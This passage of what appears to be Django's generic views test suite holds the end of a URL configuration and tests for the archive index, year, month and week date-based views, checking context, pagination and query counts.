        views.NaiveAuthorCreate.as_view(success_url='/%C3%A9dit/author/{id}/update/')),
    url(r'^edit/authors/create/restricted/$',
        views.AuthorCreateRestricted.as_view()),
    url(r'^[eé]dit/authors/create/$',
        views.AuthorCreate.as_view()),
    url(r'^edit/authors/create/special/$',
        views.SpecializedAuthorCreate.as_view()),

    url(r'^edit/author/(?P<pk>[0-9]+)/update/naive/$',
        views.NaiveAuthorUpdate.as_view()),
    url(r'^edit/author/(?P<pk>[0-9]+)/update/redirect/$',
        views.NaiveAuthorUpdate.as_view(success_url='/edit/authors/create/')),
    url(r'^edit/author/(?P<pk>[0-9]+)/update/interpolate_redirect/$',
        views.NaiveAuthorUpdate.as_view(success_url='/edit/author/{id}/update/')),
    url(r'^edit/author/(?P<pk>[0-9]+)/update/interpolate_redirect_nonascii/$',
        views.NaiveAuthorUpdate.as_view(success_url='/%C3%A9dit/author/{id}/update/')),
    url(r'^[eé]dit/author/(?P<pk>[0-9]+)/update/$',
        views.AuthorUpdate.as_view()),
    url(r'^edit/author/update/$',
        views.OneAuthorUpdate.as_view()),
    url(r'^edit/author/(?P<pk>[0-9]+)/update/special/$',
        views.SpecializedAuthorUpdate.as_view()),
    url(r'^edit/author/(?P<pk>[0-9]+)/delete/naive/$',
        views.NaiveAuthorDelete.as_view()),
    url(r'^edit/author/(?P<pk>[0-9]+)/delete/redirect/$',
        views.NaiveAuthorDelete.as_view(success_url='/edit/authors/create/')),
    url(r'^edit/author/(?P<pk>[0-9]+)/delete/interpolate_redirect/$',
        views.NaiveAuthorDelete.as_view(success_url='/edit/authors/create/?deleted={id}')),
    url(r'^edit/author/(?P<pk>[0-9]+)/delete/interpolate_redirect_nonascii/$',
        views.NaiveAuthorDelete.as_view(success_url='/%C3%A9dit/authors/create/?deleted={id}')),
    url(r'^edit/author/(?P<pk>[0-9]+)/delete/$',
        views.AuthorDelete.as_view()),
    url(r'^edit/author/(?P<pk>[0-9]+)/delete/special/$',
        views.SpecializedAuthorDelete.as_view()),

    # ArchiveIndexView
    url(r'^dates/books/$',
        views.BookArchive.as_view()),
    url(r'^dates/books/context_object_name/$',
        views.BookArchive.as_view(context_object_name='thingies')),
    url(r'^dates/books/allow_empty/$',
        views.BookArchive.as_view(allow_empty=True)),
    url(r'^dates/books/template_name/$',
        views.BookArchive.as_view(template_name='generic_views/list.html')),
    url(r'^dates/books/template_name_suffix/$',
        views.BookArchive.as_view(template_name_suffix='_detail')),
    url(r'^dates/books/invalid/$',
        views.BookArchive.as_view(queryset=None)),
    url(r'^dates/books/paginated/$',
        views.BookArchive.as_view(paginate_by=10)),
    url(r'^dates/books/reverse/$',
        views.BookArchive.as_view(queryset=models.Book.objects.order_by('pubdate'))),
    url(r'^dates/books/by_month/$',
        views.BookArchive.as_view(date_list_period='month')),
    url(r'^dates/booksignings/$',
        views.BookSigningArchive.as_view()),
    url(r'^dates/books/sortedbyname/$',
        views.BookArchive.as_view(ordering='name')),
    url(r'^dates/books/sortedbynamedec/$',
        views.BookArchive.as_view(ordering='-name')),


    # ListView
    url(r'^list/dict/$',
        views.DictList.as_view()),
    url(r'^list/dict/paginated/$',
        views.DictList.as_view(paginate_by=1)),
    url(r'^list/artists/$',
        views.ArtistList.as_view(),
        name="artists_list"),
    url(r'^list/authors/$',
        views.AuthorList.as_view(),
        name="authors_list"),
    url(r'^list/authors/paginated/$',
        views.AuthorList.as_view(paginate_by=30)),
    url(r'^list/authors/paginated/(?P<page>[0-9]+)/$',
        views.AuthorList.as_view(paginate_by=30)),
    url(r'^list/authors/paginated-orphaned/$',
        views.AuthorList.as_view(paginate_by=30, paginate_orphans=2)),
    url(r'^list/authors/notempty/$',
        views.AuthorList.as_view(allow_empty=False)),
    url(r'^list/authors/notempty/paginated/$',
        views.AuthorList.as_view(allow_empty=False, paginate_by=2)),
    url(r'^list/authors/template_name/$',
        views.AuthorList.as_view(template_name='generic_views/list.html')),
    url(r'^list/authors/template_name_suffix/$',
        views.AuthorList.as_view(template_name_suffix='_objects')),
    url(r'^list/authors/context_object_name/$',
        views.AuthorList.as_view(context_object_name='author_list')),
    url(r'^list/authors/dupe_context_object_name/$',
        views.AuthorList.as_view(context_object_name='object_list')),
    url(r'^list/authors/invalid/$',
        views.AuthorList.as_view(queryset=None)),
    url(r'^list/authors/paginated/custom_class/$',
        views.AuthorList.as_view(paginate_by=5, paginator_class=views.CustomPaginator)),
    url(r'^list/authors/paginated/custom_page_kwarg/$',
        views.AuthorList.as_view(paginate_by=30, page_kwarg='pagina')),
    url(r'^list/authors/paginated/custom_constructor/$',
        views.AuthorListCustomPaginator.as_view()),
    url(r'^list/books/sorted/$',
        views.BookList.as_view(ordering='name')),
    url(r'^list/books/sortedbypagesandnamedec/$',
        views.BookList.as_view(ordering=('pages', '-name'))),

    # YearArchiveView
    # Mixing keyword and positional captures below is intentional; the views
    # ought to be able to accept either.
    url(r'^dates/books/(?P<year>[0-9]{4})/$',
        views.BookYearArchive.as_view()),
    url(r'^dates/books/(?P<year>[0-9]{4})/make_object_list/$',
        views.BookYearArchive.as_view(make_object_list=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/allow_empty/$',
        views.BookYearArchive.as_view(allow_empty=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/allow_future/$',
        views.BookYearArchive.as_view(allow_future=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/paginated/$',
        views.BookYearArchive.as_view(make_object_list=True, paginate_by=30)),
    url(r'^dates/books/(?P<year>\d{4})/sortedbyname/$',
        views.BookYearArchive.as_view(make_object_list=True, ordering='name')),
    url(r'^dates/books/(?P<year>\d{4})/sortedbypageandnamedec/$',
        views.BookYearArchive.as_view(make_object_list=True, ordering=('pages', '-name'))),
    url(r'^dates/books/no_year/$',
        views.BookYearArchive.as_view()),
    url(r'^dates/books/(?P<year>[0-9]{4})/reverse/$',
        views.BookYearArchive.as_view(queryset=models.Book.objects.order_by('pubdate'))),
    url(r'^dates/booksignings/(?P<year>[0-9]{4})/$',
        views.BookSigningYearArchive.as_view()),

    # MonthArchiveView
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/$',
        views.BookMonthArchive.as_view()),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[0-9]{1,2})/$',
        views.BookMonthArchive.as_view(month_format='%m')),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/allow_empty/$',
        views.BookMonthArchive.as_view(allow_empty=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/allow_future/$',
        views.BookMonthArchive.as_view(allow_future=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/paginated/$',
        views.BookMonthArchive.as_view(paginate_by=30)),
    url(r'^dates/books/(?P<year>[0-9]{4})/no_month/$',
        views.BookMonthArchive.as_view()),
    url(r'^dates/booksignings/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/$',
        views.BookSigningMonthArchive.as_view()),

    # WeekArchiveView
    url(r'^dates/books/(?P<year>[0-9]{4})/week/(?P<week>[0-9]{1,2})/$',
        views.BookWeekArchive.as_view()),
    url(r'^dates/books/(?P<year>[0-9]{4})/week/(?P<week>[0-9]{1,2})/allow_empty/$',
        views.BookWeekArchive.as_view(allow_empty=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/week/(?P<week>[0-9]{1,2})/allow_future/$',
        views.BookWeekArchive.as_view(allow_future=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/week/(?P<week>[0-9]{1,2})/paginated/$',
        views.BookWeekArchive.as_view(paginate_by=30)),
    url(r'^dates/books/(?P<year>[0-9]{4})/week/no_week/$',
        views.BookWeekArchive.as_view()),
    url(r'^dates/books/(?P<year>[0-9]{4})/week/(?P<week>[0-9]{1,2})/monday/$',
        views.BookWeekArchive.as_view(week_format='%W')),
    url(r'^dates/booksignings/(?P<year>[0-9]{4})/week/(?P<week>[0-9]{1,2})/$',
        views.BookSigningWeekArchive.as_view()),

    # DayArchiveView
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/$',
        views.BookDayArchive.as_view()),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[0-9]{1,2})/(?P<day>[0-9]{1,2})/$',
        views.BookDayArchive.as_view(month_format='%m')),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/allow_empty/$',
        views.BookDayArchive.as_view(allow_empty=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/allow_future/$',
        views.BookDayArchive.as_view(allow_future=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/allow_empty_and_future/$',
        views.BookDayArchive.as_view(allow_empty=True, allow_future=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/paginated/$',
        views.BookDayArchive.as_view(paginate_by=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/no_day/$',
        views.BookDayArchive.as_view()),
    url(r'^dates/booksignings/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/$',
        views.BookSigningDayArchive.as_view()),

    # TodayArchiveView
    url(r'^dates/books/today/$',
        views.BookTodayArchive.as_view()),
    url(r'^dates/books/today/allow_empty/$',
        views.BookTodayArchive.as_view(allow_empty=True)),
    url(r'^dates/booksignings/today/$',
        views.BookSigningTodayArchive.as_view()),

    # DateDetailView
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/(?P<pk>[0-9]+)/$',
        views.BookDetail.as_view()),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[0-9]{1,2})/(?P<day>[0-9]{1,2})/(?P<pk>[0-9]+)/$',
        views.BookDetail.as_view(month_format='%m')),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/(?P<pk>[0-9]+)/allow_future/$',
        views.BookDetail.as_view(allow_future=True)),
    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/nopk/$',
        views.BookDetail.as_view()),

    url(r'^dates/books/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/byslug/(?P<slug>[\w-]+)/$',
        views.BookDetail.as_view()),

    url(
        r'^dates/books/get_object_custom_queryset/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/'
        r'(?P<pk>[0-9]+)/$',
        views.BookDetailGetObjectCustomQueryset.as_view(),
    ),

    url(r'^dates/booksignings/(?P<year>[0-9]{4})/(?P<month>[a-z]{3})/(?P<day>[0-9]{1,2})/(?P<pk>[0-9]+)/$',
        views.BookSigningDetail.as_view()),

    # Useful for testing redirects
    url(r'^accounts/login/$', auth_views.LoginView.as_view())
]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime

from django.core.exceptions import ImproperlyConfigured
from django.test import TestCase, override_settings, skipUnlessDBFeature
from django.test.utils import requires_tz_support
from django.utils import timezone

from .models import Artist, Author, Book, BookSigning, Page


def _make_books(n, base_date):
    for i in range(n):
        Book.objects.create(
            name='Book %d' % i,
            slug='book-%d' % i,
            pages=100 + i,
            pubdate=base_date - datetime.timedelta(days=i))


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        cls.artist1 = Artist.objects.create(name='Rene Magritte')
        cls.author1 = Author.objects.create(name='Roberto Bolaño', slug='roberto-bolano')
        cls.author2 = Author.objects.create(name='Scott Rosenberg', slug='scott-rosenberg')
        cls.book1 = Book.objects.create(name='2066', slug='2066', pages=800, pubdate=datetime.date(2008, 10, 1))
        cls.book1.authors.add(cls.author1)
        cls.book2 = Book.objects.create(
            name='Dreaming in Code', slug='dreaming-in-code', pages=300, pubdate=datetime.date(2006, 5, 1)
        )
        cls.page1 = Page.objects.create(
            content='I was once bitten by a moose.', template='generic_views/page_template.html'
        )


@override_settings(ROOT_URLCONF='generic_views.urls')
class ArchiveIndexViewTests(TestDataMixin, TestCase):

    def test_archive_view(self):
        res = self.client.get('/dates/books/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(Book.objects.dates('pubdate', 'year', 'DESC')))
        self.assertEqual(list(res.context['latest']), list(Book.objects.all()))
        self.assertTemplateUsed(res, 'generic_views/book_archive.html')

    def test_archive_view_context_object_name(self):
        res = self.client.get('/dates/books/context_object_name/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(Book.objects.dates('pubdate', 'year', 'DESC')))
        self.assertEqual(list(res.context['thingies']), list(Book.objects.all()))
        self.assertNotIn('latest', res.context)
        self.assertTemplateUsed(res, 'generic_views/book_archive.html')

    def test_empty_archive_view(self):
        Book.objects.all().delete()
        res = self.client.get('/dates/books/')
        self.assertEqual(res.status_code, 404)

    def test_allow_empty_archive_view(self):
        Book.objects.all().delete()
        res = self.client.get('/dates/books/allow_empty/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [])
        self.assertTemplateUsed(res, 'generic_views/book_archive.html')

    def test_archive_view_template(self):
        res = self.client.get('/dates/books/template_name/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(Book.objects.dates('pubdate', 'year', 'DESC')))
        self.assertEqual(list(res.context['latest']), list(Book.objects.all()))
        self.assertTemplateUsed(res, 'generic_views/list.html')

    def test_archive_view_template_suffix(self):
        res = self.client.get('/dates/books/template_name_suffix/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(Book.objects.dates('pubdate', 'year', 'DESC')))
        self.assertEqual(list(res.context['latest']), list(Book.objects.all()))
        self.assertTemplateUsed(res, 'generic_views/book_detail.html')

    def test_archive_view_invalid(self):
        with self.assertRaises(ImproperlyConfigured):
            self.client.get('/dates/books/invalid/')

    def test_archive_view_by_month(self):
        res = self.client.get('/dates/books/by_month/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(Book.objects.dates('pubdate', 'month', 'DESC')))

    def test_paginated_archive_view(self):
        _make_books(20, base_date=datetime.date.today())
        res = self.client.get('/dates/books/paginated/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(Book.objects.dates('pubdate', 'year', 'DESC')))
        self.assertEqual(list(res.context['latest']), list(Book.objects.all()[0:10]))
        self.assertTemplateUsed(res, 'generic_views/book_archive.html')

        res = self.client.get('/dates/books/paginated/?page=2')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['page_obj'].number, 2)
        self.assertEqual(list(res.context['latest']), list(Book.objects.all()[10:20]))

    def test_paginated_archive_view_does_not_load_entire_table(self):
        # Regression test for #18087
        _make_books(20, base_date=datetime.date.today())
        # 1 query for years list + 1 query for books
        with self.assertNumQueries(2):
            self.client.get('/dates/books/')
        # same as above + 1 query to test if books exist + 1 query to count them
        with self.assertNumQueries(4):
            self.client.get('/dates/books/paginated/')

    def test_no_duplicate_query(self):
        # Regression test for #18354
        with self.assertNumQueries(2):
            self.client.get('/dates/books/reverse/')

    def test_datetime_archive_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0))
        res = self.client.get('/dates/booksignings/')
        self.assertEqual(res.status_code, 200)

    @requires_tz_support
    @skipUnlessDBFeature('has_zoneinfo_database')
    @override_settings(USE_TZ=True, TIME_ZONE='Africa/Nairobi')
    def test_aware_datetime_archive_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0, tzinfo=timezone.utc))
        res = self.client.get('/dates/booksignings/')
        self.assertEqual(res.status_code, 200)

    def test_date_list_order(self):
        """date_list should be sorted descending in index"""
        _make_books(5, base_date=datetime.date(2011, 12, 25))
        res = self.client.get('/dates/books/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(reversed(sorted(res.context['date_list']))))

    def test_archive_view_custom_sorting(self):
        Book.objects.create(name="Zebras for Dummies", pages=600, pubdate=datetime.date(2007, 5, 1))
        res = self.client.get('/dates/books/sortedbyname/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(Book.objects.dates('pubdate', 'year', 'DESC')))
        self.assertEqual(list(res.context['latest']), list(Book.objects.order_by('name').all()))
        self.assertTemplateUsed(res, 'generic_views/book_archive.html')

    def test_archive_view_custom_sorting_dec(self):
        Book.objects.create(name="Zebras for Dummies", pages=600, pubdate=datetime.date(2007, 5, 1))
        res = self.client.get('/dates/books/sortedbynamedec/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), list(Book.objects.dates('pubdate', 'year', 'DESC')))
        self.assertEqual(list(res.context['latest']), list(Book.objects.order_by('-name').all()))
        self.assertTemplateUsed(res, 'generic_views/book_archive.html')


@override_settings(ROOT_URLCONF='generic_views.urls')
class YearArchiveViewTests(TestDataMixin, TestCase):

    def test_year_view(self):
        res = self.client.get('/dates/books/2008/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [datetime.date(2008, 10, 1)])
        self.assertEqual(res.context['year'], datetime.date(2008, 1, 1))
        self.assertTemplateUsed(res, 'generic_views/book_archive_year.html')

        # Since allow_empty=False, next/prev years must be valid (#7164)
        self.assertIsNone(res.context['next_year'])
        self.assertEqual(res.context['previous_year'], datetime.date(2006, 1, 1))

    def test_year_view_make_object_list(self):
        res = self.client.get('/dates/books/2006/make_object_list/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [datetime.date(2006, 5, 1)])
        self.assertEqual(list(res.context['book_list']), list(Book.objects.filter(pubdate__year=2006)))
        self.assertEqual(list(res.context['object_list']), list(Book.objects.filter(pubdate__year=2006)))
        self.assertTemplateUsed(res, 'generic_views/book_archive_year.html')

    def test_year_view_empty(self):
        res = self.client.get('/dates/books/1999/')
        self.assertEqual(res.status_code, 404)
        res = self.client.get('/dates/books/1999/allow_empty/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [])
        self.assertEqual(list(res.context['book_list']), [])

        # Since allow_empty=True, next/prev are allowed to be empty years (#7164)
        self.assertEqual(res.context['next_year'], datetime.date(2000, 1, 1))
        self.assertEqual(res.context['previous_year'], datetime.date(1998, 1, 1))

    def test_year_view_allow_future(self):
        # Create a new book in the future
        year = datetime.date.today().year + 1
        Book.objects.create(name="The New New Testement", pages=600, pubdate=datetime.date(year, 1, 1))
        res = self.client.get('/dates/books/%s/' % year)
        self.assertEqual(res.status_code, 404)

        res = self.client.get('/dates/books/%s/allow_empty/' % year)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['book_list']), [])

        res = self.client.get('/dates/books/%s/allow_future/' % year)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [datetime.date(year, 1, 1)])

    def test_year_view_paginated(self):
        res = self.client.get('/dates/books/2006/paginated/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['book_list']), list(Book.objects.filter(pubdate__year=2006)))
        self.assertEqual(list(res.context['object_list']), list(Book.objects.filter(pubdate__year=2006)))
        self.assertTemplateUsed(res, 'generic_views/book_archive_year.html')

    def test_year_view_custom_sort_order(self):
        # Zebras comes after Dreaming by name, but before on '-pubdate' which is the default sorting
        Book.objects.create(name="Zebras for Dummies", pages=600, pubdate=datetime.date(2006, 9, 1))
        res = self.client.get('/dates/books/2006/sortedbyname/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [datetime.date(2006, 5, 1), datetime.date(2006, 9, 1)])
        self.assertEqual(
            list(res.context['book_list']),
            list(Book.objects.filter(pubdate__year=2006).order_by('name'))
        )
        self.assertEqual(
            list(res.context['object_list']),
            list(Book.objects.filter(pubdate__year=2006).order_by('name'))
        )
        self.assertTemplateUsed(res, 'generic_views/book_archive_year.html')

    def test_year_view_two_custom_sort_orders(self):
        Book.objects.create(name="Zebras for Dummies", pages=300, pubdate=datetime.date(2006, 9, 1))
        Book.objects.create(name="Hunting Hippos", pages=400, pubdate=datetime.date(2006, 3, 1))
        res = self.client.get('/dates/books/2006/sortedbypageandnamedec/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(
            list(res.context['date_list']),
            [datetime.date(2006, 3, 1), datetime.date(2006, 5, 1), datetime.date(2006, 9, 1)]
        )
        self.assertEqual(
            list(res.context['book_list']),
            list(Book.objects.filter(pubdate__year=2006).order_by('pages', '-name'))
        )
        self.assertEqual(
            list(res.context['object_list']),
            list(Book.objects.filter(pubdate__year=2006).order_by('pages', '-name'))
        )
        self.assertTemplateUsed(res, 'generic_views/book_archive_year.html')

    def test_year_view_invalid_pattern(self):
        res = self.client.get('/dates/books/no_year/')
        self.assertEqual(res.status_code, 404)

    def test_no_duplicate_query(self):
        # Regression test for #18354
        with self.assertNumQueries(4):
            self.client.get('/dates/books/2008/reverse/')

    def test_datetime_year_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0))
        res = self.client.get('/dates/booksignings/2008/')
        self.assertEqual(res.status_code, 200)

    @skipUnlessDBFeature('has_zoneinfo_database')
    @override_settings(USE_TZ=True, TIME_ZONE='Africa/Nairobi')
    def test_aware_datetime_year_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0, tzinfo=timezone.utc))
        res = self.client.get('/dates/booksignings/2008/')
        self.assertEqual(res.status_code, 200)

    def test_date_list_order(self):
        """date_list should be sorted ascending in year view"""
        _make_books(10, base_date=datetime.date(2011, 12, 25))
        res = self.client.get('/dates/books/2011/')
        self.assertEqual(list(res.context['date_list']), list(sorted(res.context['date_list'])))


@override_settings(ROOT_URLCONF='generic_views.urls')
class MonthArchiveViewTests(TestDataMixin, TestCase):

    def test_month_view(self):
        res = self.client.get('/dates/books/2008/oct/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/book_archive_month.html')
        self.assertEqual(list(res.context['date_list']), [datetime.date(2008, 10, 1)])
        self.assertEqual(list(res.context['book_list']),
                         list(Book.objects.filter(pubdate=datetime.date(2008, 10, 1))))
        self.assertEqual(res.context['month'], datetime.date(2008, 10, 1))

        # Since allow_empty=False, next/prev months must be valid (#7164)
        self.assertIsNone(res.context['next_month'])
        self.assertEqual(res.context['previous_month'], datetime.date(2006, 5, 1))

    def test_month_view_allow_empty(self):
        # allow_empty = False, empty month
        res = self.client.get('/dates/books/2000/jan/')
        self.assertEqual(res.status_code, 404)

        # allow_empty = True, empty month
        res = self.client.get('/dates/books/2000/jan/allow_empty/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [])
        self.assertEqual(list(res.context['book_list']), [])
        self.assertEqual(res.context['month'], datetime.date(2000, 1, 1))

        # Since allow_empty=True, next/prev are allowed to be empty months (#7164)
        self.assertEqual(res.context['next_month'], datetime.date(2000, 2, 1))
        self.assertEqual(res.context['previous_month'], datetime.date(1999, 12, 1))

        # allow_empty but not allow_future: next_month should be empty (#7164)
        url = datetime.date.today().strftime('/dates/books/%Y/%b/allow_empty/').lower()
        res = self.client.get(url)
        self.assertEqual(res.status_code, 200)
        self.assertIsNone(res.context['next_month'])

    def test_month_view_allow_future(self):
        future = (datetime.date.today() + datetime.timedelta(days=60)).replace(day=1)
        urlbit = future.strftime('%Y/%b').lower()
        b = Book.objects.create(name="The New New Testement", pages=600, pubdate=future)

        # allow_future = False, future month
        res = self.client.get('/dates/books/%s/' % urlbit)
        self.assertEqual(res.status_code, 404)

        # allow_future = True, valid future month
        res = self.client.get('/dates/books/%s/allow_future/' % urlbit)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['date_list'][0], b.pubdate)
        self.assertEqual(list(res.context['book_list']), [b])
        self.assertEqual(res.context['month'], future)

        # Since allow_future = True but not allow_empty, next/prev are not
        # allowed to be empty months (#7164)
        self.assertIsNone(res.context['next_month'])
        self.assertEqual(res.context['previous_month'], datetime.date(2008, 10, 1))

        # allow_future, but not allow_empty, with a current month. So next
        # should be in the future (yup, #7164, again)
        res = self.client.get('/dates/books/2008/oct/allow_future/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['next_month'], future)
        self.assertEqual(res.context['previous_month'], datetime.date(2006, 5, 1))

    def test_month_view_paginated(self):
        res = self.client.get('/dates/books/2008/oct/paginated/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(
            list(res.context['book_list']),
            list(Book.objects.filter(pubdate__year=2008, pubdate__month=10))
        )
        self.assertEqual(
            list(res.context['object_list']),
            list(Book.objects.filter(pubdate__year=2008, pubdate__month=10))
        )
        self.assertTemplateUsed(res, 'generic_views/book_archive_month.html')

    def test_custom_month_format(self):
        res = self.client.get('/dates/books/2008/10/')
        self.assertEqual(res.status_code, 200)

    def test_month_view_invalid_pattern(self):
        res = self.client.get('/dates/books/2007/no_month/')
        self.assertEqual(res.status_code, 404)

    def test_previous_month_without_content(self):
        "Content can exist on any day of the previous month. Refs #14711"
        self.pubdate_list = [
            datetime.date(2010, month, day)
            for month, day in ((9, 1), (10, 2), (11, 3))
        ]
        for pubdate in self.pubdate_list:
            name = str(pubdate)
            Book.objects.create(name=name, slug=name, pages=100, pubdate=pubdate)

        res = self.client.get('/dates/books/2010/nov/allow_empty/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['previous_month'], datetime.date(2010, 10, 1))
        # The following test demonstrates the bug
        res = self.client.get('/dates/books/2010/nov/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['previous_month'], datetime.date(2010, 10, 1))
        # The bug does not occur here because a Book with pubdate of Sep 1 exists
        res = self.client.get('/dates/books/2010/oct/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['previous_month'], datetime.date(2010, 9, 1))

    def test_datetime_month_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 2, 1, 12, 0))
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0))
        BookSigning.objects.create(event_date=datetime.datetime(2008, 6, 3, 12, 0))
        res = self.client.get('/dates/booksignings/2008/apr/')
        self.assertEqual(res.status_code, 200)

    @skipUnlessDBFeature('has_zoneinfo_database')
    @override_settings(USE_TZ=True, TIME_ZONE='Africa/Nairobi')
    def test_aware_datetime_month_view(self):
        BookSigning.objects.create(event_date=datetime.datetime(2008, 2, 1, 12, 0, tzinfo=timezone.utc))
        BookSigning.objects.create(event_date=datetime.datetime(2008, 4, 2, 12, 0, tzinfo=timezone.utc))
        BookSigning.objects.create(event_date=datetime.datetime(2008, 6, 3, 12, 0, tzinfo=timezone.utc))
        res = self.client.get('/dates/booksignings/2008/apr/')
        self.assertEqual(res.status_code, 200)

    def test_date_list_order(self):
        """date_list should be sorted ascending in month view"""
        _make_books(10, base_date=datetime.date(2011, 12, 25))
        res = self.client.get('/dates/books/2011/dec/')
        self.assertEqual(list(res.context['date_list']), list(sorted(res.context['date_list'])))


@override_settings(ROOT_URLCONF='generic_views.urls')
class WeekArchiveViewTests(TestDataMixin, TestCase):

    def test_week_view(self):
        res = self.client.get('/dates/books/2008/week/39/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/book_archive_week.html')
        self.assertEqual(res.context['book_list'][0], Book.objects.get(pubdate=datetime.date(2008, 10, 1)))
        self.assertEqual(res.context['week'], datetime.date(2008, 9, 28))

        # Since allow_empty=False, next/prev weeks must be valid
        self.assertIsNone(res.context['next_week'])
        self.assertEqual(res.context['previous_week'], datetime.date(2006, 4, 30))

    def test_week_view_allow_empty(self):
        # allow_empty = False, empty week
        res = self.client.get('/dates/books/2008/week/12/')
        self.assertEqual(res.status_code, 404)

        # allow_empty = True, empty month
        res = self.client.get('/dates/books/2008/week/12/allow_empty/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['book_list']), [])
        self.assertEqual(res.context['week'], datetime.date(2008, 3, 23))

        # Since allow_empty=True, next/prev are allowed to be empty weeks
        self.assertEqual(res.context['next_week'], datetime.date(2008, 3, 30))
        self.assertEqual(res.context['previous_week'], datetime.date(2008, 3, 16))

        # allow_empty but not allow_future: next_week should be empty
        url = datetime.date.today().strftime('/dates/books/%Y/week/%U/allow_empty/').lower()
        res = self.client.get(url)
        self.assertEqual(res.status_code, 200)
        self.assertIsNone(res.context['next_week'])

    def test_week_view_allow_future(self):
        # January 7th always falls in week 1, given Python's definition of week numbers
        future = datetime.date(datetime.date.today().year + 1, 1, 7)
        future_sunday = future - datetime.timedelta(days=(future.weekday() + 1) % 7)
        b = Book.objects.create(name="The New New Testement", pages=600, pubdate=future)

        res = self.client.get('/dates/books/%s/week/1/' % future.year)
        self.assertEqual(res.status_code, 404)

        res = self.client.get('/dates/books/%s/week/1/allow_future/' % future.year)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['book_list']), [b])
        self.assertEqual(res.context['week'], future_sunday)

        # Since allow_future = True but not allow_empty, next/prev are not
        # allowed to be empty weeks
        self.assertIsNone(res.context['next_week'])
        self.assertEqual(res.context['previous_week'], datetime.date(2008, 9, 28))

        # allow_future, but not allow_empty, with a current week. So next
        # should be in the future
        res = self.client.get('/dates/books/2008/week/39/allow_future/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['next_week'], future_sunday)
